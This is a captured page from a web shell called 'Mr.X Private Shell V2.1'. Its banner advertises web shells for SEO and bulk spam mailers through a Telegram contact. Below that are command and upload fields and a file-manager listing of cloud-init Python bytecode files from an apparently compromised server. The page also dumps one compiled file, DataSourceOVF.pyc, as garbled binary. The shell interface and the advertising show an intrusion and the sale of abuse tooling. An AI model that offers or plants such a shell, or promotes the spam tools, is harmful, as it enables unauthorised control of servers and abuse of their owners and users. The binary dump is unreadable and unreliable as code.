__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

x[hO3��f�SrSSKrSSKrSSKrSSKrSSKJr SSKrSSKJ	r	J
r
Jr \R"\
5r"SS\	R5r"SS\5rSS	jrS
rSrSSjrS
rSrSrSrSr"SS\5r\\	R:44\\	R:\	R<444rSr Sr!g)zZCloud-Init DataSource for OVF

This module provides a cloud-init datasource for OVF data.
�N)�minidom)�sources�subp�utilc�L�\rSrSrSrSrSrSrSrSr	Sr
\S	5rS
r
g)�
DataSourceOVF��OVFc���[RRXX#5 SUl[R
R
URS5UlSUl0Ul	SUl
SUlg)N�ovf)�/zfile://)r�
DataSource�__init__�seed�os�path�join�seed_dir�environment�cfg�supported_seed_starts�_network_config��self�sys_cfg�distro�pathss    �A/usr/lib/python3/dist-packages/cloudinit/sources/DataSourceOVF.pyr�DataSourceOVF.__init__ sX�����#�#�D�6�A���	������U�^�^�U�;��
�������%5��"�#���c�h�[RRU5nU<SUR<S3$)Nz [seed=�])rr�__str__r)r�roots  rr#�DataSourceOVF.__str__)s'���!�!�)�)�$�/��!%�t�y�y�1�1r c��/n0nSnSnSS0n[URR5upgU(aZ[RRURRU5n[
U5up#n	XplURU5 OtS[4S[4/n
SnU
Hup�U"5nU(dM O U(a@[
US5up#n	XplSU;aUS(a
USUlURU5 U(dgS	U;a�US	(a�US	n
SnURHnU
RU5(dMUn O U(d[RS
X�5 g[ R""U
SS9unp4n[RSU
5 [ R$"UU/5nURU
5 [ R$"X%/5nS
RU5UlX lX0lX@lW	Ulg)N��instance-idz	iid-dsovfzcom.vmware.guestInfo�isoT�network-configF�seedfromz Seed from %s not supported by %s)�timeoutzUsing seeded cache data from %s�,)�get_ovf_envrrrrr�read_ovf_environmentr�append�transport_vmware_guestinfo�transport_iso9660rr�
startswith�LOG�debugr�read_seeded�
mergemanydictr�metadata�userdata_raw�vendordata_rawr)r�found�md�ud�vd�defaults�seedfile�contentsrr�np�name�	transfuncr+�	seedfound�proto�md_seed�_s                  r�	_get_data�DataSourceOVF._get_data-s�����
��
��
��
�;�
�� +�4�:�:�+>�+>�?�����7�7�<�<��
�
� 3� 3�X�>�D�0��:�M�R�S�'���L�L���(�)C�D��)�*��B��D�#%���$�;���8��$&�� 4�X�t� D�
���#+� �#�r�)�b�1A�.B�+-�.>�+?�D�(����T�"�������:���*�~�H��I��3�3���&�&�u�-�-� %�I��4���	�	�<�h�M��#'�#3�#3�H�d�#K� �W�b�a��I�I�7��B��#�#�R��M�2�B��L�L��"��
�
���
/���H�H�U�O��	��
��� �����r c� �SUR-$)Nzovf (%s))r�rs r�_get_subplatform�DataSourceOVF._get_subplatformos���D�I�I�%�%r c�x�SUR;a/$URSn[U[5(aU$U/$)N�public-keys)r8�
isinstance�list)r�pkss  r�get_public_ssh_keys�!DataSourceOVF.get_public_ssh_keysrs:����
�
�-��I��m�m�M�*���c�D�"�"��J��5�Lr c��UR$�N)rrLs r�get_config_obj�DataSourceOVF.get_config_obj~s���x�x�r c��UR$rW)rrLs r�network_config�DataSourceOVF.network_config�s���#�#�#r )	rrrr8rrrr9r:N)�__name__�
__module__�__qualname__�__firstlineno__�dsnamerr#rIrMrTrX�propertyr[�__static_attributes__�r rrrs;��
�F�$�2�@�D&����$��$r rc��\rSrSrSrSrg)�DataSourceOVFNet�c��[RXX#5 [RR	UR
S5UlSUlg)Nzovf-net)zhttp://zhttps://)rrrrrrrrs    rr�DataSourceOVFNet.__init__�s4�����t�f�<������U�^�^�Y�?��
�%<��"r )rrN)r]r^r_r`rrcrdr rrfrf�s��=r rfc�4�[U5n0n0nSnS/n/SQnS/nUR5H�up�U	S:XaSn	X�;aX�U	'MX�;aX�U	'M#X�;aJU(aC[R"U
R	55n[U5R
S5X9'MrU	S:XdMz[R"U
R	55nM� X5U4$![a [RS5 M�f=f![a U
R	5nM�f=f)	N�password)r+�local-hostnamerPr(r*�hostnamerl�networkz%Ignore network-config in wrong formatz	user-data)
�get_properties�items�base64�	b64decode�encode�safeload_yaml_or_dict�get�	Exceptionr4r5)rA�read_network�propsr<rr=�	cfg_props�md_props�
network_props�prop�valr[s            rr/r/�s���8�$�E�	�B�
�C�	
�B���I�K�H�%�&�M��[�[�]�	���:��#�D����t�H�
�
���I�
�
"�|�
C�!'�!1�!1�#�*�*�,�!?��0��@�D�D�Y�O����[�
 �
"��%�%�c�j�j�l�3��#�$
�C�=����
C��	�	�A�B�
C��
�
"��Z�Z�\��
"�s%�AC�'$C9�C6�5C6�9D�Dc�2�SnUHbn[RRX5n[RRU5(dMH[R
"U5nX$4s $ g![a  [R"[SU5 M�f=f)N)zovf-env.xmlzovf_env.xmlzOVF_ENV.XMLzOVF-ENV.XMLzFailed loading ovf file %s)NF)	rrr�isfiler�load_text_filerv�logexcr4)�dirname�	env_names�fname�full_fnrAs     rr.r.�s~��L�I����'�'�,�,�w�.��
�7�7�>�>�'�"�"�
H��.�.�w�7���(�(�����
H����C�!=�w�G�
H�s�A,�,&B�Bc��U(dg[U[5(d[SU-5e[RRU5nUR
S5(aURS5SnUR
S5(aURS5SnOURS5S:�agU(dgSn[RRSU5n[R"U5nURU5S	L$)
z�Test if devname matches known list of devices which may contain iso9660
   filesystems.

Be helpful in accepting either knames (with no leading /dev/) or full path
names, but do not allow paths outside of /dev/, like /dev/foo/bar/xxx.
Fz Unexpected input for devname: %sz/dev/���r
rz^(sr[0-9]+|hd[a-z]|xvd.*)�CLOUD_INIT_CDROM_DEV_REGEXN)rQ�str�
ValueErrorrr�normpathr3�	partition�split�count�environru�re�compile�match)�devname�
default_regex�
devname_regex�cdmatchs    r�maybe_cdrom_devicer��s�����
���
%�
%��;�g�E�F�F��g�g���w�'�G����'�"�"��#�#�G�,�R�0�����#����-�-��$�R�(��	���s�	�a�	����1�M��J�J�N�N�#?��O�M��j�j��'�G��=�=��!��-�-r c�L�[R"5nUR5HFup#USnUS:wa	U(aM[U5(dM+USn[	U5upgUSLdMDUs $ U(aSnOSn[R
"U(aSU-OS5Vs/sHn[U5(dMUPM n	nU	H)n[R"U[US9upgUSLdM'Us $ gs snf![Ra [RSU5 M`f=f)N�fstype�iso9660�
mountpointFzTYPE=%s)�mtypez%s not mountable as iso9660)
r�mountsrpr�r.�find_devs_with�mount_cb�MountFailedErrorr4r5)
�require_isor��dev�infor��mp�_fnamerAr��devss
          rr2r2�s��
�[�[�]�F��\�\�^�	���h����Y��;��!�#�&�&��
�,�
��(��_����5� ��O�$������
�&�&�E�y�5�'8�t�L��L�C��c�"�	�L�	��
��	�!%���s�K�u�!M��V�
�5� ��O�������$�$�	��I�I�3�S�9��	�s� C0�8C0�C5�5*D#�"D#c�@�X/n[R"U5up4X#U4$rW�r��rpctool�arg�cmd�stdout�stderrs     r�exec_vmware_rpctoolr�
s$���.�C��y�y��~��V��� � r c�D�USU/n[R"U5up4X#U4$)Nz--cmdr�r�s     r�
exec_vmtoolsdr�s)���G�S�
!�C��y�y��~��V��� � r c�8�Sup[R"S5n[R"S5nU(aU[p[R	SU5 U(a$U(dU[
p[R	SU5 U(d[R	S5 gSnU"X5$![Ra�nU(a6X:Xa1URS:wa[R"[S	U5 SnAgU(d[RS
5 SnAg[RS5 U"U[
5sSnA$![Ra:nURS:wa[R"[S	U5 SnASnAgSnAff=fSnAff=f)N)NN�vmtoolsdzvmware-rpctoolzdiscovered vmware-rpctool: %szdiscovered vmtoolsd: %szno rpctool discoveredc�$�[RSU5 U"US5up#nU(aU$[RSU5 g![Ra7nUR
S:wa [R
SXR
5 UeSnAff=f)Nzquery guestinfo.ovfEnv with %szinfo-get guestinfo.ovfEnvz!cmd %s exited 0 with empty stdout�z%s exited with code %d)r4r�r5r�ProcessExecutionError�	exit_code�warning)r��
rpctool_fnr�r�rH�errors      r�query_guestinfo�3transport_vmware_guestinfo.<locals>.query_guestinfo-s{�����1�7�;�		�'��1L�M�N�C����
��I�I�9�3�?����)�)�	����!�#����4�g���O��K��	�s�A�A�B�2B
�
Br�z+vmtoolsd failed to get guestinfo.ovfEnv: %sz$vmtoolsd fallback option not presentzfallback to vmtoolsd)r�whichr�r4r5r�r�r�rr�r�)r�r�r��vmware_rpctoolr�r�s      rr1r1s?��$��G��z�z�*�%�H��Z�Z� 0�1�N��,�.A���	�	�1�>�B���"*�M�Z��	�	�+�X�6���	�	�)�*�����w�3�3���%�%����+����!�#�����F������H�H�;�<��	��H�H�+�,�"�8�]�;�;���)�)�	����!�#�����F������	��+�sH�!B)�)F�=8F�:F�!E�=F�F�,F�F�F�F�Fc��/nUR5(dU$URH#nU"U5(dMURU5 M% U$rW)�
hasChildNodes�
childNodesr0)�node�filter_func�ret�childs    r�
find_childr�]sG��
�C�������
������u����J�J�u��!��Jr c��[R"U5nURRS:wa[	S5eURR5(d[	S5eSn[
URS5nU(d[	S5e0n[
USS5nUHSnURRUS	5RnURRUS
5RnX�U'MU U$)N�EnvironmentzNo Environment NodezNo Child Nodesz)http://schemas.dmtf.org/ovf/environment/1c� �URS:H$)N�PropertySection��	localName��ns r�<lambda>� get_properties.<locals>.<lambda>ts��q�{�{�6G�'Gr zNo 'PropertySection'src� �URS:H$)N�Propertyr�r�s rr�r�|s
��A�K�K�:�$=r �key�value)
r�parseString�documentElementr��XmlErrorr�r��
attributes�getNamedItemNSr�)	rA�dom�envNsURI�propSectionsrx�	propElems�elemr�r}s	         rrorogs���
�
�
�h�
'�C�
���$�$�
�5��,�-�-����,�,�.�.��'�(�(�:�H�����G��L���.�/�/��E���Q��=��I����o�o�,�,�X�u�=�C�C���o�o�,�,�X�w�?�E�E���c�
��
�Lr c��\rSrSrSrg)r�i�rdN)r]r^r_r`rcrdr rr�r��s��r r�c�8�[R"U[5$rW)r�list_from_depends�datasources)�dependss r�get_datasource_listr��s���$�$�W�k�:�:r c�@�U(d0$[R"U5$)z�
The meta data could be JSON or YAML. Since YAML is a strict superset of
JSON, we will unmarshal the data as YAML. If data is None then a new
dictionary is returned.
)�yaml�	safe_load)�datas rrtrt�s����	��>�>�$��r )F)T)"�__doc__rq�loggingrr��xml.domrr��	cloudinitrrr�	getLoggerr]r4rrrfr/r.r�r2r�r�r1r�rorvr��DEP_FILESYSTEM�DEP_NETWORKr�r�rtrdr r�<module>r�s����
��	�	���)�)�
����!��f$�G�&�&�f$�R=�}�=��>
�$.�R#�L!�!�D�N��@	�y�	��W�+�+�-�.���.�.��0C�0C�D�E���;� r 

Filemanager

Name Type Size Permission Actions
DataSourceAkamai.cpython-313.pyc File 12.33 KB 0644
DataSourceAliYun.cpython-313.pyc File 18.33 KB 0644
DataSourceAltCloud.cpython-313.pyc File 9.85 KB 0644
DataSourceAzure.cpython-313.pyc File 79.75 KB 0644
DataSourceBigstep.cpython-313.pyc File 2.86 KB 0644
DataSourceCloudCIX.cpython-313.pyc File 7.22 KB 0644
DataSourceCloudSigma.cpython-313.pyc File 5.18 KB 0644
DataSourceCloudStack.cpython-313.pyc File 13.11 KB 0644
DataSourceConfigDrive.cpython-313.pyc File 14.2 KB 0644
DataSourceDigitalOcean.cpython-313.pyc File 6.2 KB 0644
DataSourceEc2.cpython-313.pyc File 43.31 KB 0644
DataSourceExoscale.cpython-313.pyc File 8.9 KB 0644
DataSourceGCE.cpython-313.pyc File 16.12 KB 0644
DataSourceHetzner.cpython-313.pyc File 6.46 KB 0644
DataSourceIBMCloud.cpython-313.pyc File 18.43 KB 0644
DataSourceLXD.cpython-313.pyc File 20.3 KB 0644
DataSourceMAAS.cpython-313.pyc File 18.29 KB 0644
DataSourceNWCS.cpython-313.pyc File 6.76 KB 0644
DataSourceNoCloud.cpython-313.pyc File 17.26 KB 0644
DataSourceNone.cpython-313.pyc File 1.88 KB 0644
DataSourceOVF.cpython-313.pyc File 15.34 KB 0644
DataSourceOpenNebula.cpython-313.pyc File 18.96 KB 0644
DataSourceOpenStack.cpython-313.pyc File 13.1 KB 0644
DataSourceOracle.cpython-313.pyc File 21.77 KB 0644
DataSourceRbxCloud.cpython-313.pyc File 10.25 KB 0644
DataSourceScaleway.cpython-313.pyc File 17.07 KB 0644
DataSourceSmartOS.cpython-313.pyc File 38.32 KB 0644
DataSourceUpCloud.cpython-313.pyc File 7.11 KB 0644
DataSourceVMware.cpython-313.pyc File 35.8 KB 0644
DataSourceVultr.cpython-313.pyc File 5.79 KB 0644
DataSourceWSL.cpython-313.pyc File 15.48 KB 0644
__init__.cpython-313.pyc File 47.24 KB 0644
Filemanager